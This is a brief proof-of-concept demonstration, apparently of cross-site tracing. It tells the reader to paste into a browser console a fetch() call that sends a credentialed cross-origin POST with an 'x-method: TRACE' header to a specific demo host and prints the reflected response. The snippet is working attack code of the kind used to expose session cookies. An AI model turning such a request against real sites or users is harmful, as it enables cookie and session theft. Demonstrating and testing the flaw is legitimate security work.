Open a new browser window to any other site (to force a CORS cross-domain request), then paste the following script into the developer tools, javascript console.
fetch( 'https://xst.scarlet.ae', {
method: 'POST',
mode: 'cors',
cache: 'no-store',
credentials: 'include',
headers: {
'x-method': 'TRACE'
}
} )
.then( response => response.text( ) )
.then( text => console.log( text ) )
Additional information is available here: https://attackshipsonfi.re